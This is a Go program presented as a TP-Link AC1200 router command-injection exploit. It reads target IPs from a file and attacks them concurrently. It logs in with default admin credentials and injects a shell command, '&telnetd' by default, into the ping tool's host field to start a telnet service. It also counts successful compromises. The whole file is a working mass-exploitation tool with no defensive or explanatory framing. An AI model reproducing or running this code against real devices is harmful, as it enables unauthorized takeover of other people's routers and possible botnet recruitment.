package main

import (
	"bufio"
	"context"
	"encoding/base64"
	"flag"
	"fmt"
	"log"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"sync"
	"sync/atomic"
	"syscall"
	"time"
)

var (
	tried   uint64
	success uint64
	failed  uint64
)

func main() {
	// Parse command-line flags
	hostsFile := flag.String("f", "", "File containing router IPs (one per line)")
	threads := flag.Int("t", 10, "Number of concurrent threads")
	username := flag.String("u", "admin", "Router username")
	password := flag.String("p", "admin", "Router password")
	payload := flag.String("c", "&telnetd", "Command injection payload")
	timeout := flag.Int("timeout", 10, "HTTP request timeout in seconds")
	verbose := flag.Bool("v", false, "Verbose output")

	flag.Usage = func() {
		fmt.Fprintf(os.Stderr, "Usage: %s [options]\n", os.Args[0])
		fmt.Fprintf(os.Stderr, "\nTP-Link AC1200 Router Command Injection Exploit\n\n")
		fmt.Fprintf(os.Stderr, "Options:\n")
		flag.PrintDefaults()
		fmt.Fprintf(os.Stderr, "\nExample:\n")
		fmt.Fprintf(os.Stderr, "  %s -f targets.txt -t 50 -c '&telnetd' -u admin -p admin\n", os.Args[0])
	}

	flag.Parse()

	if *hostsFile == "" {
		flag.Usage()
		os.Exit(1)
	}

	if *threads <= 0 {
		log.Fatalf("Invalid thread count: %d (must be > 0)", *threads)
	}

	// Read router hosts
	routerHosts, err := readRouterHosts(*hostsFile)
	if err != nil {
		log.Fatalf("Error reading router hosts from %s: %v", *hostsFile, err)
	}

	if len(routerHosts) == 0 {
		log.Fatalf("No hosts found in %s", *hostsFile)
	}

	log.Printf("[+] Loaded %d targets from %s", len(routerHosts), *hostsFile)
	log.Printf("[+] Threads: %d | Timeout: %ds | Payload: %s", *threads, *timeout, *payload)

	// Create context for graceful shutdown
	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	// Handle signals
	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM)
	go func() {
		sig := <-sigChan
		log.Printf("\n[!] Received signal: %v. Shutting down gracefully...", sig)
		cancel()
	}()

	// Stats display goroutine
	go func() {
		ticker := time.NewTicker(2 * time.Second)
		defer ticker.Stop()
		for {
			select {
			case <-ctx.Done():
				return
			case <-ticker.C:
				fmt.Printf("| Tried: %d | Success: %d | Failed: %d |\n",
					atomic.LoadUint64(&tried),
					atomic.LoadUint64(&success),
					atomic.LoadUint64(&failed))
			}
		}
	}()

	// Process targets concurrently
	var wg sync.WaitGroup
	semaphore := make(chan struct{}, *threads)

	for _, host := range routerHosts {
		select {
		case <-ctx.Done():
			log.Println("[!] Context cancelled, stopping new tasks")
			break
		default:
		}

		wg.Add(1)
		go func(h string) {
			defer wg.Done()

			select {
			case <-ctx.Done():
				return
			case semaphore <- struct{}{}:
				defer func() { <-semaphore }()
				processRouterHost(ctx, h, *username, *password, *payload, *timeout, *verbose)
			}
		}(host)
	}

	wg.Wait()

	// Final stats
	log.Printf("\n[+] Scan complete!")
	log.Printf("    Total Tried: %d", atomic.LoadUint64(&tried))
	log.Printf("    Successful: %d", atomic.LoadUint64(&success))
	log.Printf("    Failed: %d", atomic.LoadUint64(&failed))
}

func processRouterHost(ctx context.Context, host, username, password, payload string, timeout int, verbose bool) {
	atomic.AddUint64(&tried, 1)

	ok := sendPayload(ctx, host, username, password, payload, timeout, verbose)
	if ok {
		atomic.AddUint64(&success, 1)
		fmt.Printf("[+] SUCCESS: %s\n", host)
	} else {
		atomic.AddUint64(&failed, 1)
		if verbose {
			fmt.Printf("[-] FAILED: %s\n", host)
		}
	}
}

func sendPayload(ctx context.Context, host, username, password, payload string, timeout int, verbose bool) bool {
	url := fmt.Sprintf("http://%s/goform/sysTools", host)
	authHeader := fmt.Sprintf("Basic %s", genHeader(username, password))
	params := strings.NewReader(fmt.Sprintf("tool=0&pingCount=4&host=%s&submit=OK", payload))

	req, err := http.NewRequest("POST", url, params)
	if err != nil {
		if verbose {
			log.Printf("[-] [%s] Error creating request: %v", host, err)
		}
		return false
	}

	req.Header.Set("Authorization", authHeader)
	req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	// Add context to request
	req = req.WithContext(ctx)

	// Create client with timeout
	client := &http.Client{
		Timeout: time.Duration(timeout) * time.Second,
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse // Don't follow redirects
		},
	}

	resp, err := client.Do(req)
	if err != nil {
		if verbose {
			log.Printf("[-] [%s] Request failed: %v", host, err)
		}
		return false
	}
	defer resp.Body.Close()

	// Success if we get HTTP 200
	return resp.StatusCode == http.StatusOK
}

func genHeader(u, p string) string {
	auth := fmt.Sprintf("%s:%s", u, p)
	return base64.StdEncoding.EncodeToString([]byte(auth))
}

func readRouterHosts(filename string) ([]string, error) {
	file, err := os.Open(filename)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	var hosts []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		line := strings.TrimSpace(scanner.Text())
		// Skip empty lines and comments
		if line != "" && !strings.HasPrefix(line, "#") {
			hosts = append(hosts, line)
		}
	}

	if err := scanner.Err(); err != nil {
		return nil, err
	}

	return hosts, nil
}
